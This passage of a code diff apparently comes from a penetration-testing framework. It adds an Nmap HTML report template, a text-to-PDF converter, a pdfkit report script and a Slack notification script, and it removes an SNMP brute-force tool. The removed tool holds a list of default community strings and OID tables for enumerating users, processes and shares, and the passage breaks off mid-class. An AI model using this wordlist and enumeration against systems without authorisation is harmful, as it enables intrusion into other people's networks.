+                          <xsl:when test="state/@state = 'closed'">
+                            <tr class="active">
+                              <td><xsl:value-of select="@portid"/></td>
+                              <td><xsl:value-of select="@protocol"/></td>
+                              <td><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
+                              <td><xsl:value-of select="service/@name"/></td>
+                              <td><xsl:value-of select="service/@product"/></td>
+                              <td><xsl:value-of select="service/@version"/></td>
+                              <td><xsl:value-of select="service/@extrainfo"/></td>
+                            </tr>
+                          </xsl:when>
+                          <xsl:otherwise>
+                            <tr class="info">
+                              <td><xsl:value-of select="@portid"/></td>
+                              <td><xsl:value-of select="@protocol"/></td>
+                              <td><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
+                              <td><xsl:value-of select="service/@name"/></td>
+                              <td><xsl:value-of select="service/@product"/></td>
+                              <td><xsl:value-of select="service/@version"/></td>
+                              <td><xsl:value-of select="service/@extrainfo"/></td>
+                            </tr>
+                          </xsl:otherwise>
+                        </xsl:choose>
+                      </xsl:for-each>
+                    </tbody>
+                  </table>
+                </div>
+                <xsl:if test="count(hostscript/script) > 0">
+                  <h4>Host Script</h4>
+                </xsl:if>
+                <xsl:for-each select="hostscript/script">
+                  <h5><xsl:value-of select="@id"/></h5>
+                  <pre style="white-space:pre-wrap; word-wrap:break-word;"><xsl:value-of select="@output"/></pre>
+                </xsl:for-each>
+              </div>
+            </div>
+          </xsl:for-each>
+          <h2 id="openservices" class="target">Open Services</h2>
+          <div class="table-responsive">
+            <table id="table-services" class="table table-striped dataTable" role="grid">
+              <thead>
+                <tr>
+                  <th>Address</th>
+                  <th>Port</th>
+                  <th>Protocol</th>
+                  <th>Service</th>
+                  <th>Product</th>
+                  <th>Version</th>
+                  <th>CPE</th>
+                  <th>Extra info</th>
+                </tr>
+              </thead>
+              <tbody>
+                <xsl:for-each select="/nmaprun/host">
+                  <xsl:for-each select="ports/port[state/@state='open']">
+                    <tr>
+                      <td><xsl:value-of select="../../address/@addr"/><xsl:if test="count(../../hostnames/hostname) > 0"> - <xsl:value-of select="../../hostnames/hostname/@name"/></xsl:if></td>
+                      <td><xsl:value-of select="@portid"/></td>
+                      <td><xsl:value-of select="@protocol"/></td>
+                      <td><xsl:value-of select="service/@name"/></td>
+                      <td><xsl:value-of select="service/@product"/></td>
+                      <td><xsl:value-of select="service/@version"/></td>
+                      <td><xsl:value-of select="service/cpe"/></td>
+                      <td><xsl:value-of select="service/@extrainfo"/></td>
+                    </tr>
+                  </xsl:for-each>
+                </xsl:for-each>
+              </tbody>
+            </table>
+          </div>
+          <script>
+            $(document).ready(function() {
+              $('#table-services').DataTable();
+            });
+          </script>
+        </div>
+        <footer class="footer">
+          <div class="container">
+            <p class="text-muted">
+              This report was generated with <a href="https://github.com/honze-net/nmap-bootstrap-xsl">Nmap Bootstrap XSL</a>.<br/>
+              Licensed under <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons BY-SA</a>.<br/>
+              Designed and built by Andreas Hontzia (<a href="https://www.twitter.com/honze_net">@honze_net</a>).<br/>
+            </p>
+          </div>
+        </footer>
+      </body>
+    </html>
+  </xsl:template>
+</xsl:stylesheet>

bin/pyText2pdf.py

@@ -0,0 +1,601 @@
+#! /usr/bin/env python
+"""
+ pyText2Pdf - Python script to convert plain text files into Adobe
+ Acrobat PDF files with support for arbitrary page breaks etc.
+
+ Version 2.0
+
+ Author: Anand B Pillai <abpillai at gmail dot com>
+    
+"""
+
+# Derived from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/189858
+
+import sys, os
+import string
+import time
+import optparse
+import re
+
+LF_EXTRA=0
+LINE_END='\015'
+# form feed character (^L)
+FF=chr(12)
+
+ENCODING_STR = """\
+/Encoding <<
+/Differences [ 0 /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /space /exclam
+/quotedbl /numbersign /dollar /percent /ampersand
+/quoteright /parenleft /parenright /asterisk /plus /comma
+/hyphen /period /slash /zero /one /two /three /four /five
+/six /seven /eight /nine /colon /semicolon /less /equal
+/greater /question /at /A /B /C /D /E /F /G /H /I /J /K /L
+/M /N /O /P /Q /R /S /T /U /V /W /X /Y /Z /bracketleft
+/backslash /bracketright /asciicircum /underscore
+/quoteleft /a /b /c /d /e /f /g /h /i /j /k /l /m /n /o /p
+/q /r /s /t /u /v /w /x /y /z /braceleft /bar /braceright
+/asciitilde /.notdef /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
+/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
+/dotlessi /grave /acute /circumflex /tilde /macron /breve
+/dotaccent /dieresis /.notdef /ring /cedilla /.notdef
+/hungarumlaut /ogonek /caron /space /exclamdown /cent
+/sterling /currency /yen /brokenbar /section /dieresis
+/copyright /ordfeminine /guillemotleft /logicalnot /hyphen
+/registered /macron /degree /plusminus /twosuperior
+/threesuperior /acute /mu /paragraph /periodcentered
+/cedilla /onesuperior /ordmasculine /guillemotright
+/onequarter /onehalf /threequarters /questiondown /Agrave
+/Aacute /Acircumflex /Atilde /Adieresis /Aring /AE
+/Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave
+/Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve
+/Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash
+/Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn
+/germandbls /agrave /aacute /acircumflex /atilde /adieresis
+/aring /ae /ccedilla /egrave /eacute /ecircumflex
+/edieresis /igrave /iacute /icircumflex /idieresis /eth
+/ntilde /ograve /oacute /ocircumflex /otilde /odieresis
+/divide /oslash /ugrave /uacute /ucircumflex /udieresis
+/yacute /thorn /ydieresis ]
+>>
+"""
+
+INTRO="""\
+%prog [options] filename
+
+PyText2Pdf  makes a 7-bit clean PDF file from any input file.
+
+It reads from a named file, and writes the PDF file to a file specified by
+the user, otherwise to a file with '.pdf' appended to the input file.
+
+Author: Anand B Pillai."""
+
+
+class PyText2Pdf(object):
+    """ Text2pdf converter in pure Python """
+    
+    def __init__(self):
+        # version number
+        self._version="1.3"
+        # iso encoding flag
+        self._IsoEnc=False
+        # formfeeds flag
+        self._doFFs=False
+        self._progname="PyText2Pdf"
+        self._appname = " ".join((self._progname,str(self._version)))
+        # default font
+        self._font="/Courier"
+        # default font size
+        self._ptSize=10
+        # default vert space
+        self._vertSpace=12
+        self._lines=0
+        # number of characters in a row
+        self._cols=80
+        self._columns=1
+        # page ht
+        self._pageHt=792
+        # page wd
+        self._pageWd=612
+        # input file 
+        self._ifile=""
+        # output file 
+        self._ofile=""
+        # default tab width
+        self._tab=4
+        # input file descriptor
+        self._ifs=None
+        # output file descriptor
+        self._ofs=None
+        # landscape flag
+        self._landscape=False
+        # Subject
+        self._subject = ''
+        # Author
+        self._author = ''
+        # Keywords
+        self._keywords = []
+        # Custom regexp  for page breaks
+        self._pagebreakre = None
+        
+        # marker objects
+        self._curobj = 5
+        self._pageObs = [0]
+        self._locations = [0,0,0,0,0,0]
+        self._pageNo=0
+
+        # file position marker
+        self._fpos=0
+
+    def parse_args(self):
+        
+        """ Callback function called by argument parser.
+        Helps to remove duplicate code """
+
+        if len(sys.argv)<2:
+            sys.argv.append('-h')
+            
+        parser = optparse.OptionParser(usage=INTRO)
+        parser.add_option('-o','--output',dest='outfile',help='Direct output to file OUTFILE',metavar='OUTFILE')
+        parser.add_option('-f','--font',dest='font',help='Use Postscript font FONT (must be in standard 14, default: Courier)',
+                          default='Courier')
+        parser.add_option('-I','--isolatin',dest='isolatin',help='Use ISO latin-1 encoding',default=False,action='store_true')
+        parser.add_option('-s','--size',dest='fontsize',help='Use font at PTSIZE points (default=>10)',metavar='PTSIZE',default=10)
+        parser.add_option('-v','--linespace',dest='linespace',help='Use line spacing LINESPACE (deault 12)',metavar='LINESPACE',default=12)
+        parser.add_option('-l','--lines',dest='lines',help='Lines per page (default 60, determined automatically if unspecified)',default=60, metavar=None)
+        parser.add_option('-c','--chars',dest='chars',help='Maximum characters per line (default 80)',default=80,metavar=None)
+        parser.add_option('-t','--tab',dest='tabspace',help='Spaces per tab character (default 4)',default=4,metavar=None)
+        parser.add_option('-F','--ignoreff',dest='formfeed',help='Ignore formfeed character ^L (i.e, accept formfeed characters as pagebreaks)',default=False,action='store_true')
+        parser.add_option('-P','--papersize',dest='papersize',help='Set paper size (default is letter, accepted values are "A4" or "A3")')
+        parser.add_option('-W','--width',dest='width',help='Independent paper width in points',metavar=None,default=612)
+        parser.add_option('-H','--height',dest='height',help='Independent paper height in points',metavar=None,default=792)
+        parser.add_option('-2','--twocolumns',dest='twocolumns',help='Format as two columns',metavar=None,default=False,action='store_true')
+        parser.add_option('-L','--landscape',dest='landscape',help='Format in landscape mode',metavar=None,default=False,action='store_true')
+        parser.add_option('-R','--regexp',dest='pageregexp',help='Regular expression string to determine page breaks (if supplied, this will be used to split text into pages, instead of using line count)',metavar=None)
+        parser.add_option('-S','--subject',dest='subject',help='Optional subject for the document',metavar=None)
+        parser.add_option('-A','--author',dest='author',help='Optional author for the document',metavar=None)
+        parser.add_option('-K','--keywords',dest='keywords',help='Optional list of keywords for the document (separated by commas)',metavar=None)
+        
+
+        optlist, args = parser.parse_args()
+        # print optlist.__dict__, args
+
+        if len(args)==0:
+            sys.exit('Error: input file argument missing')
+        elif len(args)>1:
+            sys.exit('Error: Too many arguments')            
+
+        self._ifile = args[0]
+        
+        d = optlist.__dict__
+        if d.get('isolatin'): self._IsoEnc=True
+        if d.get('formfeed'): self._doFFs = True
+        if d.get('twocolumns'): self._columns = 2
+        if d.get('landscape'): self._landscape = True
+
+        self._font = '/' + d.get('font')
+        psize = d.get('papersize')
+        if psize=='A4':
+            self._pageWd=595
+            self._pageHt=842
+        elif psize=='A3':
+            self._pageWd=842
+            self._pageHt=1190
+
+        fsize = int(d.get('fontsize'))
+        if fsize < 1: fsize = 1
+        self._ptSize = fsize
+
+        lspace = int(d.get('linespace'))
+        if lspace<1: lspace = 1
+        self._vertSpace = lspace
+
+        lines = int(d.get('lines'))
+        if lines<1: lines = 1
+        self._lines = int(lines)
+
+        chars = int(d.get('chars'))
+        if chars<4: chars = 4
+        self._cols = chars
+
+        tab = int(d.get('tabspace'))
+        if tab<1: tab = 1
+        self._tab = tab
+
+        w = int(d.get('width'))
+        if w<72: w=72
+        self._pageWd = w
+
+        h = int(d.get('height'))
+        if h<72: h=72
+        self._pageHt = h
+
+        # Very optional args
+        author = d.get('author')
+        if author: self._author = author
+
+        subject = d.get('subject')
+        if subject: self._subject = subject
+
+        keywords = d.get('keywords')
+        if keywords:
+            self._keywords = keywords.split(',')
+
+        pagebreak = d.get('pageregexp')
+        if pagebreak:
+            self._pagebreakre = re.compile(pagebreak, re.UNICODE|re.IGNORECASE)
+        
+        outfile = d.get('outfile')
+        if outfile: self._ofile = outfile
+        
+        if self._landscape:
+            print 'Landscape option on...'
+        if self._columns==2:
+            print 'Printing in two columns...'
+        if self._doFFs:
+            print 'Ignoring form feed character...'
+        if self._IsoEnc:
+            print 'Using ISO Latin Encoding...'
+
+        print 'Using font',self._font[1:],'size =', self._ptSize
+
+    def writestr(self, str):
+        """ Write string to output file descriptor.
+        All output operations go through this function.
+        We keep the current file position also here"""
+
+        # update current file position
+        self._fpos += len(str)
+        for x in range(0, len(str)):
+            if str[x] == '\n':
+                self._fpos += LF_EXTRA
+        try:
+            self._ofs.write(str)
+        except IOError, e:
+            print e
+            return -1
+
+        return 0
+            
+    def convert(self):
+        """ Perform the actual conversion """
+    
+        if self._landscape:
+            # swap page width & height
+            tmp = self._pageHt
+            self._pageHt = self._pageWd
+            self._pageWd = tmp
+
+        if self._lines==0:
+            self._lines = (self._pageHt - 72)/self._vertSpace
+        if self._lines < 1:
+            self._lines=1
+        
+        try:
+            self._ifs=open(self._ifile)
+        except IOError, (strerror, errno):
+            print 'Error: Could not open file to read --->', self._ifile
+            sys.exit(3)
+
+        if self._ofile=="":
+            self._ofile = os.path.splitext(self._ifile)[0] + '.pdf'
+
+        try:
+            self._ofs = open(self._ofile, 'wb')
+        except IOError, (strerror, errno):
+            print 'Error: Could not open file to write --->', self._ofile
+            sys.exit(3)
+
+        print 'Input file=>',self._ifile
+        print 'Writing pdf file',self._ofile, '...'
+        self.writeheader()
+        self.writepages()
+        self.writerest()
+
+        print 'Wrote file', self._ofile
+        self._ifs.close()
+        self._ofs.close()
+        return 0
+
+    def writeheader(self):
+        """Write the PDF header"""
+
+        ws = self.writestr
+
+        title = self._ifile
+        
+        t=time.localtime()
+        timestr=str(time.strftime("D:%Y%m%d%H%M%S", t))
+        ws("%PDF-1.4\n")
+        self._locations[1] = self._fpos
+        ws("1 0 obj\n")
+        ws("<<\n")
+
+        buf = "".join(("/Creator (", self._appname, " By Anand B Pillai )\n"))
+        ws(buf)
+        buf = "".join(("/CreationDate (", timestr, ")\n"))
+        ws(buf)
+        buf = "".join(("/Producer (", self._appname, "(\\251 Anand B Pillai))\n"))
+        ws(buf)
+        if self._subject:
+            title = self._subject
+            buf = "".join(("/Subject (",self._subject,")\n"))
+            ws(buf)
+        if self._author:
+            buf = "".join(("/Author (",self._author,")\n"))
+            ws(buf)
+        if self._keywords:
+            buf = "".join(("/Keywords (",' '.join(self._keywords),")\n"))
+            ws(buf)
+
+        if title:
+            buf = "".join(("/Title (", title, ")\n"))
+            ws(buf)
+
+        ws(">>\n")
+        ws("endobj\n")
+    
+        self._locations[2] = self._fpos
+
+        ws("2 0 obj\n")
+        ws("<<\n")
+        ws("/Type /Catalog\n")
+        ws("/Pages 3 0 R\n")
+        ws(">>\n")
+        ws("endobj\n")
+        
+        self._locations[4] = self._fpos
+        ws("4 0 obj\n")
+        ws("<<\n")
+        buf = "".join(("/BaseFont ", str(self._font), " /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font >>\n"))
+        ws(buf)
+    
+        if self._IsoEnc:
+            ws(ENCODING_STR)
+            
+        ws(">>\n")
+        ws("endobj\n")
+        
+        self._locations[5] = self._fpos
+        
+        ws("5 0 obj\n")
+        ws("<<\n")
+        ws("  /Font << /F1 4 0 R >>\n")
+        ws("  /ProcSet [ /PDF /Text ]\n")
+        ws(">>\n")
+        ws("endobj\n")
+    
+    def startpage(self):
+        """ Start a page of data """
+
+        ws = self.writestr
+        
+        self._pageNo += 1
+        self._curobj += 1
+
+        self._locations.append(self._fpos)
+        self._locations[self._curobj]=self._fpos
+    
+        self._pageObs.append(self._curobj)
+        self._pageObs[self._pageNo] = self._curobj
+        
+        buf = "".join((str(self._curobj), " 0 obj\n"))
+
+        ws(buf)
+        ws("<<\n")
+        ws("/Type /Page\n")
+        ws("/Parent 3 0 R\n")
+        ws("/Resources 5 0 R\n")
+
+        self._curobj += 1
+        buf = "".join(("/Contents ", str(self._curobj), " 0 R\n"))
+        ws(buf)
+        ws(">>\n")
+        ws("endobj\n")
+        
+        self._locations.append(self._fpos)
+        self._locations[self._curobj] = self._fpos
+
+        buf = "".join((str(self._curobj), " 0 obj\n"))
+        ws(buf)
+        ws("<<\n")
+        
+        buf = "".join(("/Length ", str(self._curobj + 1), " 0 R\n"))
+        ws(buf)
+        ws(">>\n")
+        ws("stream\n")
+        strmPos = self._fpos
+    
+        ws("BT\n");
+        buf = "".join(("/F1 ", str(self._ptSize), " Tf\n"))
+        ws(buf)
+        buf = "".join(("1 0 0 1 50 ", str(self._pageHt - 40), " Tm\n"))
+        ws(buf)
+        buf = "".join((str(self._vertSpace), " TL\n"))
+        ws(buf)
+    
+        return strmPos
+
+    def endpage(self, streamStart):
+        """End a page of data """
+        
+        ws = self.writestr
+
+        ws("ET\n")
+        streamEnd = self._fpos
+        ws("endstream\n")
+        ws("endobj\n")
+    
+        self._curobj += 1
+        self._locations.append(self._fpos)
+        self._locations[self._curobj] = self._fpos
+    
+        buf = "".join((str(self._curobj), " 0 obj\n"))
+        ws(buf)
+        buf = "".join((str(streamEnd - streamStart), '\n'))
+        ws(buf)
+        ws('endobj\n')
+    
+    def writepages(self):
+        """Write pages as PDF"""
+        
+        ws = self.writestr
+
+        beginstream=0
+        lineNo, charNo=0,0
+        ch, column=0,0
+        padding,i=0,0
+        atEOF=0
+        linebuf = ''
+        
+        while not atEOF:
+            beginstream = self.startpage()
+            column=1
+            
+            while column <= self._columns:
+                column += 1
+                atFF=0
+                atBOP=0
+                lineNo=0
+                # Special flag for regexp page break
+                pagebreak = False
+                
+                while lineNo < self._lines and not atFF and not atEOF and not pagebreak:
+                    linebuf = ''
+                    lineNo += 1
+                    ws("(")
+                    charNo=0
+                    
+                    while charNo < self._cols:
+                        charNo += 1
+                        ch = self._ifs.read(1)
+                        cond = ((ch != '\n') and not(ch==FF and self._doFFs) and (ch != ''))
+                        if not cond:
+                            # See if this dude matches the pagebreak regexp
+                            if self._pagebreakre and self._pagebreakre.search(linebuf.strip()):
+                                pagebreak = True
+                                
+                            linebuf = ''
+                            break
+                        else:
+                            linebuf = linebuf + ch
+
+                        if ord(ch) >= 32 and ord(ch) <= 127:
+                            if ch == '(' or ch == ')' or ch == '\\':
+                                ws("\\")
+                            ws(ch)
+                        else:
+                            if ord(ch) == 9:
+                                padding =self._tab - ((charNo - 1) % self._tab)
+                                for i in range(padding):
+                                    ws(" ")
+                                charNo += (padding -1)
+                            else:
+                                if ch != FF:
+                                    # write \xxx form for dodgy character
+                                    buf = "".join(('\\', ch))
+                                    ws(buf)
+                                else:
+                                    # dont print anything for a FF
+                                    charNo -= 1
+
+                    ws(")'\n")
+                    if ch == FF:
+                        atFF=1
+                    if lineNo == self._lines:
+                        atBOP=1
+                        
+                    if atBOP:
+                        pos=0
+                        ch = self._ifs.read(1)
+                        pos= self._ifs.tell()
+                        if ch == FF:
+                            ch = self._ifs.read(1)
+                            pos=self._ifs.tell()
+                        # python's EOF signature
+                        if ch == '':
+                            atEOF=1
+                        else:
+                            # push position back by one char
+                            self._ifs.seek(pos-1)
+
+                    elif atFF:
+                        ch = self._ifs.read(1)
+                        pos=self._ifs.tell()
+                        if ch == '':
+                            atEOF=1
+                        else:
+                            self._ifs.seek(pos-1)
+
+                if column < self._columns:
+                    buf = "".join(("1 0 0 1 ",
+                                   str((self._pageWd/2 + 25)),
+                                   " ",
+                                   str(self._pageHt - 40),
+                                   " Tm\n"))
+                    ws(buf)
+
+            self.endpage(beginstream)
+
+    def writerest(self):
+        """Finish the file"""
+
+        ws = self.writestr
+        self._locations[3] = self._fpos
+    
+        ws("3 0 obj\n")
+        ws("<<\n")
+        ws("/Type /Pages\n")
+        buf = "".join(("/Count ", str(self._pageNo), "\n"))
+        ws(buf)
+        buf = "".join(("/MediaBox [ 0 0 ", str(self._pageWd), " ", str(self._pageHt), " ]\n"))
+        ws(buf)
+        ws("/Kids [ ")
+    
+        for i in range(1, self._pageNo+1):
+            buf = "".join((str(self._pageObs[i]), " 0 R "))
+            ws(buf)
+
+        ws("]\n")
+        ws(">>\n")
+        ws("endobj\n")
+        
+        xref = self._fpos
+        ws("xref\n")
+        buf = "".join(("0 ", str((self._curobj) + 1), "\n"))
+        ws(buf)
+        buf = "".join(("0000000000 65535 f ", str(LINE_END)))
+        ws(buf)
+
+        for i in range(1, self._curobj + 1):
+            val = self._locations[i]
+            buf = "".join((string.zfill(str(val), 10), " 00000 n ", str(LINE_END)))
+            ws(buf)
+
+        ws("trailer\n")
+        ws("<<\n")
+        buf = "".join(("/Size ", str(self._curobj + 1), "\n"))
+        ws(buf)
+        ws("/Root 2 0 R\n")
+        ws("/Info 1 0 R\n")
+        ws(">>\n")
+        
+        ws("startxref\n")
+        buf = "".join((str(xref), "\n"))
+        ws(buf)
+        ws("%%EOF\n")
+        
+
+def main():
+    
+    pdfclass=PyText2Pdf()
+    pdfclass.parse_args()
+    pdfclass.convert()
+
+if __name__ == "__main__":
+    main()

bin/report.py

@@ -0,0 +1,2 @@
+import pdfkit
+pdfkit.from_url('/usr/share/sniper/loot/workspace/hulu/sniper-report.html', 'out.pdf')

bin/slack.sh

@@ -0,0 +1,17 @@
+#!/bin/bash
+# Slack API Integration script for Sn1per
+# By @xer0dayz - https://sn1persecurity.com
+#
+
+source /usr/share/sniper/sniper.conf 2> /dev/null
+source /root/.sniper.conf 2> /dev/null
+source /root/.sniper_api_keys.conf 2> /dev/null
+
+MESSAGE="$1"
+
+if [ "$MESSAGE" == "postfile" ]; then
+	FILENAME="$2"
+	curl -F "file=@$FILENAME" -F "initial_comment=$FILENAME" -F "channels=$SLACK_CHANNEL" -H "Authorization: Bearer $SLACK_API_TOKEN" https://slack.com/api/files.upload 2> /dev/null > /dev/null
+else
+	curl -X POST -H 'Content-type: application/json' --data "{\"text\":\"$MESSAGE\"}" $SLACK_WEBHOOK_URL 2> /dev/null > /dev/null
+fi

bin/snmpbrute.py

@@ -1,789 +0,0 @@
-#!/usr/bin/env python
-# SNMP Bruteforce & Enumeration Script
-# Requires metasploit, snmpwalk, snmpstat and john the ripper
-__version__ = 'v1.0b'
-from socket import socket, SOCK_DGRAM, AF_INET, timeout
-from random import randint
-from time import sleep
-import optparse, sys, os
-from subprocess import Popen, PIPE
-import struct
-import threading, thread
-import tempfile
-
-from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS,
-                       SNMPset, SNMPbulk, IP)
-
-##########################################################################################################
-#	Defaults
-##########################################################################################################
-class defaults:
-	rate=30.0
-	timeOut=2.0
-	port=161
-	delay=2
-	interactive=True
-	verbose=False
-	getcisco=True
-	colour=True
-
-default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','<removed>','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI']
-
-##########################################################################################################
-#	OID's
-##########################################################################################################
-''' Credits
-Some OID's borowed from Cisc0wn script
-# Cisc0wn - The Cisco SNMP 0wner.
-# Daniel Compton
-# www.commonexploits.com
-# contact@commexploits.com
-'''
-
-RouteOIDS={
-	'ROUTDESTOID':	[".1.3.6.1.2.1.4.21.1.1", "Destination"],
-	'ROUTHOPOID':	[".1.3.6.1.2.1.4.21.1.7", "Next Hop"],
-	'ROUTMASKOID':	[".1.3.6.1.2.1.4.21.1.11", "Mask"],
-	'ROUTMETOID':	[".1.3.6.1.2.1.4.21.1.3", "Metric"],
-	'ROUTINTOID':	[".1.3.6.1.2.1.4.21.1.2", "Interface"],
-	'ROUTTYPOID':	[".1.3.6.1.2.1.4.21.1.8", "Route type"],
-	'ROUTPROTOID':	[".1.3.6.1.2.1.4.21.1.9", "Route protocol"],
-	'ROUTAGEOID':	[".1.3.6.1.2.1.4.21.1.10", "Route age"]
-}
-
-InterfaceOIDS={
-	#Interface Info
-	'INTLISTOID':	[".1.3.6.1.2.1.2.2.1.2", "Interfaces"],
-	'INTIPLISTOID':	[".1.3.6.1.2.1.4.20.1.1", "IP address"],
-	'INTIPMASKOID':	[".1.3.6.1.2.1.4.20.1.3", "Subnet mask"],
-	'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"]
-}
-
-ARPOIDS={
-	# Arp table
-	'ARPADDR':		[".1.3.6.1.2.1.3.1 ","ARP address method A"],
-	'ARPADDR2':		[".1.3.6.1.2.1.3.1 ","ARP address method B"]
-}
-
-OIDS={
-	'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"]
-}
-
-snmpstat_args={
-	'Interfaces':["-Ci","Interface Info"],
-	'Routing':["-Cr","Route Info"],
-	'Netstat':["","Netstat"],
-	#'Statistics':["-Cs","Stats"]
-}
-
-'''Credits
-The following OID's are borrowed from snmpenum.pl script
-#        ----by filip waeytens 2003----
-#        ----  DA SCANIT CREW www.scanit.be ----
-#         filip.waeytens@hushmail.com
-'''
-
-WINDOWS_OIDS={
-	'RUNNING PROCESSES':	["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
-	'INSTALLED SOFTWARE':	["1.3.6.1.2.1.25.6.3.1.2","Installed Software"],
-	'SYSTEM INFO':	["1.3.6.1.2.1.1","System Info"],
-	'HOSTNAME':	["1.3.6.1.2.1.1.5","Hostname"],
-	'DOMAIN':	["1.3.6.1.4.1.77.1.4.1","Domain"],
-	'USERS':	["1.3.6.1.4.1.77.1.2.25","Users"],
-	'UPTIME':	["1.3.6.1.2.1.1.3","UpTime"],
-	'SHARES':	["1.3.6.1.4.1.77.1.2.27","Shares"],
-	'DISKS':	["1.3.6.1.2.1.25.2.3.1.3","Disks"],
-	'SERVICES':	["1.3.6.1.4.1.77.1.2.3.1.1","Services"],
-	'LISTENING TCP PORTS':	["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"],
-	'LISTENING UDP PORTS':	["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"]
-}
-
-LINUX_OIDS={
-	'RUNNING PROCESSES':	["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
-	'SYSTEM INFO':	["1.3.6.1.2.1.1","System Info"],
-	'HOSTNAME':	["1.3.6.1.2.1.1.5","Hostname"],
-	'UPTIME':	["1.3.6.1.2.1.1.3","UpTime"],
-	'MOUNTPOINTS':	["1.3.6.1.2.1.25.2.3.1.3","MountPoints"],
-	'RUNNING SOFTWARE PATHS':	["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"],
-	'LISTENING UDP PORTS':	["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"],
-	'LISTENING TCP PORTS':	["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"]
-}
-
-CISCO_OIDS={
-	'LAST TERMINAL USERS':	["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"],
-	'INTERFACES':	["1.3.6.1.2.1.2.2.1.2","Interfaces"],
-	'SYSTEM INFO':	["1.3.6.1.2.1.1.1","System Info"],
-	'HOSTNAME':	["1.3.6.1.2.1.1.5","Hostname"],
-	'SNMP Communities':	["1.3.6.1.6.3.12.1.3.1.4","Communities"],
-	'UPTIME':	["1.3.6.1.2.1.1.3","UpTime"],
-	'IP ADDRESSES':	["1.3.6.1.2.1.4.20.1.1","IP Addresses"],
-	'INTERFACE DESCRIPTIONS':	["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"],
-	'HARDWARE':	["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"],
-	'TACACS SERVER':	["1.3.6.1.4.1.9.2.1.5","TACACS Server"],
-	'LOG MESSAGES':	["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"],
-	'PROCESSES':	["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"],
-	'SNMP TRAP SERVER':	["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"]
-}
-
-##########################################################################################################
-#	Classes
-##########################################################################################################
-
-class SNMPError(Exception):
-	'''Credits
-	Class copied from sploitego project
-	__original_author__ = 'Nadeem Douba'
-	https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
-	'''
-	pass
-
-class SNMPVersion:
-	'''Credits
-	Class copied from sploitego project
-	__original_author__ = 'Nadeem Douba'
-	https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
-	'''
-	v1 = 0
-	v2c = 1
-	v3 = 2
-
-	@classmethod
-	def iversion(cls, v):
-		if v in ['v1', '1']:
-			return cls.v1
-		elif v in ['v2', '2', 'v2c']:
-			return cls.v2c
-		elif v in ['v3', '3']:
-			return cls.v3
-		raise ValueError('No such version %s' % v)
-
-	@classmethod
-	def sversion(cls, v):
-		if not v:
-			return 'v1'
-		elif v == 1:
-			return 'v2c'
-		elif v == 2:
-			return 'v3'
-		raise ValueError('No such version number %s' % v)
-
-class SNMPBruteForcer(object):
-	#This class is used for the sploitego method of bruteforce (--sploitego)
-	'''Credits
-	Class copied from sploitego project
-	__original_author__ = 'Nadeem Douba'
